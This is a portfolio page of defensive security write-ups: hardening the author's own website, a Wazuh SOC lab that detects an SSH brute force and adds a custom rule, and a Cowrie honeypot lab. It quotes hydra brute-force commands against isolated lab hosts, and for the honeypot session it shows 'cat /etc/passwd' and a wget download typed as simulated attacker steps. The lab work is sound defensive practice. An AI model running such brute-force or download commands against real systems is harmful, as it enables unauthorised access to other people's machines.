Documentation — Hands-On Projects

Projects

Write-ups of self-directed labs and infrastructure work — real environments configured, tested, and verified, not just claimed on a resume.

Case Study

Hardening almartinex.com

VERIFIED Aug 2026 · Cloudflare · DNS · HTTP Security Headers · TLS

This site itself is a hardening exercise. Starting from a default Cloudflare-fronted static deployment, I worked through DNS-layer, transport-layer, and application-layer security controls end to end — then verified every claim against independent third-party scanners rather than trusting the dashboard alone.

What was implemented:

  • SSL/TLS set to Full (Strict) with HTTPS enforced and automatic redirects
  • HTTP Strict Transport Security (HSTS) enabled to prevent protocol downgrade attacks
  • Minimum TLS version raised to 1.2+, removing legacy protocol support
  • Full HTTP security header suite deployed via a _headers config: Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, and Permissions-Policy
  • DNSSEC enabled at the registrar/DNS layer to prevent DNS spoofing and cache poisoning
  • Cloudflare Bot Fight Mode and WAF Managed Rules enabled at the edge
  • Full email authentication stack configured independently: SPF, DKIM, and DMARC (starting in monitor mode, with a staged rollout plan toward enforcement)
  • RFC 9116-compliant security.txt published for responsible vulnerability disclosure

Verification, not assertion: every change was checked against independent scanners rather than assumed correct from the dashboard alone.

SecurityHeaders.com
D → A+
Qualys SSL Labs
B → A

The DNS/email side (SPF, DKIM, DMARC) was configured and troubleshot independently — including diagnosing a duplicate DKIM record and a misplaced DMARC record name, both caught and corrected through direct DNS inspection rather than assuming the first attempt was correct.

Cloudflare DNS HSTS CSP DNSSEC SPF/DKIM/DMARC WAF security.txt
Case Study

Home SOC Lab — Build & Detection Engineering

VERIFIED 2026 · VMware Workstation · Wazuh · Parrot Security OS · MITRE ATT&CK

A self-contained Security Operations Center lab built entirely on a single laptop, covering the full detection lifecycle: deploying a SIEM, generating realistic attack traffic, detecting it, and tuning custom detection logic — the core loop of SOC analyst and detection engineering work.

Architecture

Three virtual machines on an isolated internal network (VMware Host-Only, subnet 192.168.111.0/24), each with a secondary NAT adapter for package updates only. Keeping the lab fully isolated from the home LAN ensures attack traffic and vulnerable services never reach the wider network — standard practice for any offensive-security home lab.

┌─────────────────────────────┐ │ Host Laptop │ │ VMware Workstation Pro │ └───────────────┬───────────────┘ │ ┌───────────────────────────┼───────────────────────────┐ │ │ │ ┌──────▼───────┐ ┌────────▼────────┐ ┌───────▼────────┐ │ Parrot │ │ Wazuh Manager │ │ Ubuntu Victim │ │ Security OS │ attack │ (SIEM) │ monitors │ (Ubuntu Server │ │ (Attacker) ├─────────▶│ 192.168.111.132 │◀─────────┤ 24.04 LTS) │ │ 192.168.111.x │ │ Indexer+Dashboard│ agent │ 192.168.111.133 │ └───────────────┘ └──────────────────┘ └─────────────────┘ All three VMs share VMnet1 (host-only, 192.168.111.0/24) Each VM also has a NAT adapter (VMnet8) for package updates only
VMRoleOSRAMDisk
parrot-securityAttackerParrot Security Edition2 GB20 GB
wazuh-managerSIEM (manager + indexer + dashboard)Ubuntu Server 24.04 LTS4 GB60 GB
ubuntu-victimMonitored endpointUbuntu Server 24.04 LTS2 GB25 GB

Attack Simulation & Detection

An SSH brute-force attack was launched from the attacker VM against the victim's SSH service to validate that Wazuh's default ruleset detects credential-guessing attempts:

hydra -l ubuntu-victim -P /path/to/wordlist.txt ssh://192.168.111.133

The attack generated 2,505 authentication-failure events, triggering rule IDs 2501, 2502, 5758, and 5760, with the source IP confirmed via the data.srcip field and MITRE ATT&CK technique T1110 (Brute Force) identifiable in the correlated alert.

Custom Detection Rule

To demonstrate detection-engineering capability beyond default rules, a custom correlation rule was authored in Wazuh's local ruleset, tightening the brute-force detection threshold to 3 failed logins within 10 seconds:

<group name="local,syslog,sshd,">
  <rule id="100010" level="10" frequency="3" timeframe="10">
    <if_matched_sid>5760</if_matched_sid>
    <description>Custom: SSH brute force - 3 failed logins in 10 seconds</description>
    <mitre>
      <id>T1110</id>
    </mitre>
  </rule>
</group>

Re-running the attack after applying the rule confirmed rule 100010 fired correctly, correlating on top of the raw 5760 events with the intended tighter threshold and MITRE tagging.

Troubleshooting Log

Real-world infrastructure work involves solving unexpected problems. Several issues surfaced during the build, each diagnosed to root cause rather than patched blindly:

Disk space exhaustion mid-install

Filebeat installation failed and the install script auto-rolled back entirely. Root cause was two-layered: Ubuntu's LVM installer had only allocated part of the virtual disk to the root logical volume, and separately, the host laptop's own drive ran out of space as the growable virtual disk expanded. Fixed by extending the logical volume (lvextend / resize2fs) and relocating VM files to a secondary drive with more free space.

Broken package state after rollback

Subsequent install retries failed with dpkg: too many errors — the original disk-space failure had left dpkg's package database in an inconsistent state. Rather than continue patching a corrupted package state, rebuilt the VM from scratch with a properly-sized disk — a deliberate call to avoid compounding technical debt in an environment where a clean rebuild is cheap.

Leftover processes holding required ports

Reinstall failed with Port 1515/55000 is being used by another process. Diagnosed via lsof -i :1515 and lsof -i :55000, which identified stale wazuh-authd and Wazuh API processes left running from the previous failed install. Resolved by stopping the service and confirming ports were released before retrying.

DHCP lease exhaustion on the internal lab network

Attacker VM showed an active network interface but no IPv4 address after repeated VM rebuilds. Cause was a stale lease table in VMware's virtual DHCP service. Resolved by restarting the VMnetDHCP service from an elevated host session.

Key Learnings

  • Disk sizing matters more than expected for all-in-one SIEM deployments — the indexer, manager, dashboard, and Filebeat combined require significantly more headroom than a bare OS estimate suggests
  • LVM's default partial-disk allocation is a common, easy-to-miss trap when resizing VM disks
  • Infrastructure debugging is iterative — several issues in this build required diagnosing root cause rather than retrying blindly, a skill directly transferable to real incident and infrastructure troubleshooting
  • Detection engineering is layered — default rulesets catch the obvious cases, but tuning thresholds and writing correlation rules is what turns raw log noise into actionable, appropriately-prioritized alerts
Full command reference
# Network verification (all VMs)
ip a

# Wazuh manager install (all-in-one)
curl -sO https://packages.wazuh.com/4.14/wazuh-install.sh
sudo bash wazuh-install.sh -a

# LVM disk extension
sudo vgs
sudo lvs
sudo lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv
sudo resize2fs /dev/ubuntu-vg/ubuntu-lv

# Wazuh agent deployment (victim)
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent
sudo systemctl status wazuh-agent

# Port conflict diagnosis
sudo lsof -i :1515
sudo lsof -i :55000

# Attack simulation
hydra -l ubuntu-victim -P wordlist.txt ssh://192.168.111.133
Wazuh VMware Workstation SIEM Deployment Detection Engineering MITRE ATT&CK Linux Administration LVM
Case Study

SSH Honeypot Deployment & Attack Capture — Cowrie

VERIFIED 2026 · VMware Workstation · Cowrie · Parrot Security OS · Wazuh-adjacent lab

An SSH honeypot added to the existing Home SOC Lab environment, capturing full attacker interaction — credential brute-forcing, session login, and post-login command execution — with structured JSON logging suitable for downstream SIEM correlation.

Honeypots in Production Networks

In a real deployment, a honeypot like this is placed on internet-routable infrastructure — a cloud VPS or a DMZ segment — deliberately exposed so it gets found by the same opportunistic scanners and credential-stuffing bots that probe any public IP range. The value is in the traffic being unsolicited: real attackers, not simulated ones. Egress from the honeypot is tightly restricted so a compromised instance can't pivot into production systems, and captured sessions feed a SIEM or threat-intel pipeline as a low-noise source of genuine indicators — source IPs, credential patterns, and TTPs — without any of the false positives that come from monitoring real production traffic.

This build is deliberately the opposite: fully isolated on a host-only lab network, with attack traffic generated on demand from a Parrot Security OS VM rather than pulled from the open internet. That trade-off is intentional — it validates that the honeypot and its logging pipeline work correctly, and keeps a vulnerable-by-design service off any network with real exposure, at the cost of not producing genuine external threat data.

Architecture

Extends the existing lab's isolated internal network (VMware Host-Only, subnet 192.168.111.0/24) with a fourth VM rather than standing up separate infrastructure — keeping the honeypot on the same segment as the attacker and SIEM host it's meant to work alongside.

┌─────────────────────────────┐ │ Host Laptop │ │ VMware Workstation Pro │ └───────────────┬───────────────┘ │ ┌───────────────┼───────────────────────────┬───────────────────┐ │ │ │ │ ┌──────▼───────┐ │ ┌────────▼────────┐ ┌───────▼────────┐ │ Parrot │ │ │ Wazuh Manager │ │ Cowrie Honeypot │ │ Security OS │──┘ attack │ (SIEM) │ │ (fake SSH svc) │ │ (Attacker) │─────────────────────▶ 192.168.111.132 │ │ 192.168.111.134 │ │ 192.168.111.x │ └──────────────────┘ └─────────────────┘ All VMs share VMnet1 (host-only, 192.168.111.0/24) Each VM also has a NAT adapter (VMnet8) for package updates only
VMRoleOSIP
cowrie-honeypotFake SSH serviceUbuntu Server 24.04 LTS192.168.111.134 (static)
parrot-securityAttackerParrot Security Edition192.168.111.x
wazuh-managerSIEM (manager + indexer + dashboard)Ubuntu Server 24.04 LTS192.168.111.132

The honeypot's IP was moved from DHCP to a static netplan assignment before wiring anything else to it — a dynamic lease renewing to a different address would silently break any log-forwarding config pointed at the old one.

Deployment

Cowrie was installed from source into a dedicated cowrie system user's home directory, inside a Python virtual environment, and installed in editable mode so its console-script entry point becomes available directly:

sudo apt install -y git python3-venv python3-dev libssl-dev libffi-dev build-essential
sudo useradd -m -s /bin/bash cowrie
git clone https://github.com/cowrie/cowrie
cd cowrie
python3 -m venv cowrie-env && source cowrie-env/bin/activate
pip install -r requirements.txt
pip install -e .
cp src/cowrie/data/etc/cowrie.cfg.dist etc/cowrie.cfg

The default hostname (svr04) and fake filesystem identity were changed to a plausible internal-looking name before starting the service — a default, unconfigured-looking honeypot is itself a fingerprint an attacker (or a reviewer) can spot immediately.

cowrie start
ss -tlnp | grep 2222
# LISTEN 0  50  0.0.0.0:2222  users:(("twistd",pid=...))

Attack Simulation & Capture

From the Parrot VM, a credential brute-force was run against the honeypot's SSH service using a standard password wordlist:

nmap -sV -p 2222 192.168.111.134
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.111.134:2222

Hydra returned 15 valid passwords out of the wordlist tested — expected and by design, since Cowrie accepts most submitted credentials rather than rejecting them, so that login attempts convert into observable post-login sessions rather than dead-ending at the auth prompt. One of the recovered credentials was then used for an interactive login, followed by a short sequence of reconnaissance-style commands inside the fake shell:

ssh -p 2222 root@192.168.111.134
whoami
ls -la
cat /etc/passwd
wget http://example.com/test.sh
uname -a

Structured JSON logging (cowrie.json) captured the full chain with an exact 1:1 match between actions taken and events recorded — 16 login.success events matching Hydra's recovered credentials, 5 command.input events matching each command typed, and 1 session.file_download event from the wget call:

cat var/log/cowrie/cowrie.json | jq '.eventid' | sort | uniq -c

    18 "cowrie.client.kex"
    18 "cowrie.client.version"
     1 "cowrie.login.failed"
    16 "cowrie.login.success"
     5 "cowrie.command.input"
     1 "cowrie.session.file_download"
    21 "cowrie.session.connect"
    20 "cowrie.session.closed"

Troubleshooting Log

Repo layout had moved to a src/ structure

Standard guidance for Cowrie assumes a top-level etc/ config directory and a bin/cowrie launcher script — neither exists in this checkout. The project now ships the config template under src/cowrie/data/etc/cowrie.cfg.dist, and the launcher isn't a checked-in script at all: it's a console-script entry point registered by pip install -e ., only present on PATH once the package itself (not just its dependencies) is installed. Diagnosed with find . -iname rather than guessing paths from memory, and confirmed with which cowrie once the editable install completed.

Absolute vs. relative path confusion

Repeated commands failed with No such file or directory when run against an absolute path (/etc/cowrie.cfg, /var/log/cowrie/...) instead of the correct path relative to the repo root (etc/cowrie.cfg, var/log/cowrie/...). Resolved each time by confirming pwd and using realpath to verify which file was actually being referenced before troubleshooting further — a cheap check that would have prevented several repeated failed attempts.

Port-22 disguise considered, deliberately deferred

Redirecting inbound port 22 to Cowrie's 2222 (iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222) would make the honeypot present on the standard SSH port instead of an obviously non-default one — realistic for an internet-facing deployment, but irrelevant on an isolated lab network where nothing scans port 22 opportunistically, and risky to attempt without first relocating the VM's real management SSH daemon off port 22. Deferred as out of scope for this iteration rather than implemented carelessly.

Key Learnings

  • Don't trust remembered project layouts — Cowrie's move to a src/ package structure silently invalidated file paths that used to be standard; find and pip show resolved it faster than guessing
  • Absolute-path mistakes look identical to genuinely missing files; checking pwd first is cheaper than debugging the wrong hypothesis
  • A honeypot's value depends entirely on its exposure model — isolated self-testing validates the pipeline works, but only internet exposure produces genuine attacker data; the two aren't different maturity levels of the same project, they're different projects with different risk profiles
  • Matching event counts to actions taken (15 credentials → 16 logins, 5 commands → 5 command.input events) is what turns "I ran a honeypot" into a verifiable claim rather than an assertion
Full command reference
# Cowrie install (editable, from source)
sudo apt install -y git python3-venv python3-dev libssl-dev libffi-dev build-essential
sudo useradd -m -s /bin/bash cowrie
git clone https://github.com/cowrie/cowrie
cd cowrie
python3 -m venv cowrie-env && source cowrie-env/bin/activate
pip install -r requirements.txt
pip install -e .
cp src/cowrie/data/etc/cowrie.cfg.dist etc/cowrie.cfg

# Static IP (netplan)
sudo nano /etc/netplan/*.yaml
sudo netplan try

# Start and verify listener
cowrie start
ss -tlnp | grep 2222

# Attack simulation (from Parrot)
nmap -sV -p 2222 192.168.111.134
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.111.134:2222
ssh -p 2222 root@192.168.111.134

# Log analysis
cat var/log/cowrie/cowrie.json | jq '.eventid' | sort | uniq -c
Cowrie SSH Honeypot Parrot Security OS VMware Workstation Log Analysis Credential Harvesting Linux Networking